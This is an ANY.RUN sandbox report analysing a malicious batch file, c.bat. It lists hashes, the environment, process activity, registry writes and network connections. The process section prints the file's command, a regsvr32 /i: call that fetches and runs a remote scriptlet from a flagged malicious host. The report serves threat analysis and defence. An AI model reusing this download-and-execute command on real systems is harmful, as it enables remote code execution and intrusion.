Malware analysis c.bat Malicious activity | ANY.RUN

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File name:	c.bat
Full analysis:	https://app.any.run/tasks/1d4bae00-2f0e-4fa7-b90e-03a8337f8cde
Verdict:	Malicious activity
Analysis date:	April 15, 2019, 04:55:16
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	text/plain
File info:	ASCII text, with no line terminators
MD5:	72A8B684CDA2A5E4BA568224F27CF0F5
SHA1:	3C41387E1B21F7E8083DCD9A26D10E095AA2D3E7
SHA256:	71840EF23304366D11B1EB2D71E8BCA416CF6F200A932F119C87B993F2FD495D
SSDEEP:	3:pLACpGElFaeHiLQRAQGKIfmjxQ/A+L/J:pLXGdGiUlIf9/A+DJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
No malicious indicators.
SUSPICIOUS
- Starts CMD.EXE for commands execution
  - cmd.exe (PID: 3364)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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No data.

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All screenshots are available in the full report

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Total processes

34

Monitored processes

3

Malicious processes

0

Suspicious processes

0

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

3364

cmd /c ""C:\Users\admin\AppData\Local\Temp\c.bat" "

C:\Windows\system32\cmd.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

1256

cmd.exe /c regsvr32 /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll

C:\Windows\system32\cmd.exe

—

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

1100

regsvr32 /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll

C:\Windows\system32\regsvr32.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft(C) Register Server

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

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Total events

49

Read events

31

Write events

18

Delete events

0

Modification events


(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	MaxFileSize
Value: 1048576
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	FileDirectory
Value: %windir%\tracing
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(1100) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760

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Executable files

0

Suspicious files

0

Text files

0

Unknown types

0

Dropped files

No data

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

1

TCP/UDP connections

1

DNS requests

1

Threats

0

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1100	regsvr32.exe	GET	—	111.90.145.52:443	http://update.7h4uk.com:443/antivirus.php	MY	—	—	malicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
1100	regsvr32.exe	111.90.145.52:443	update.7h4uk.com	Shinjiru Technology Sdn Bhd	MY	malicious

DNS requests

Domain	IP	Reputation
update.7h4uk.com	111.90.145.52	unknown

Threats

No threats detected

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No debug info

General Info

c.bat

72A8B684CDA2A5E4BA568224F27CF0F5

3C41387E1B21F7E8083DCD9A26D10E095AA2D3E7

71840EF23304366D11B1EB2D71E8BCA416CF6F200A932F119C87B993F2FD495D

3:pLACpGElFaeHiLQRAQGKIfmjxQ/A+L/J:pLXGdGiUlIf9/A+DJ

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

SUSPICIOUS

Starts CMD.EXE for commands execution

INFO

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings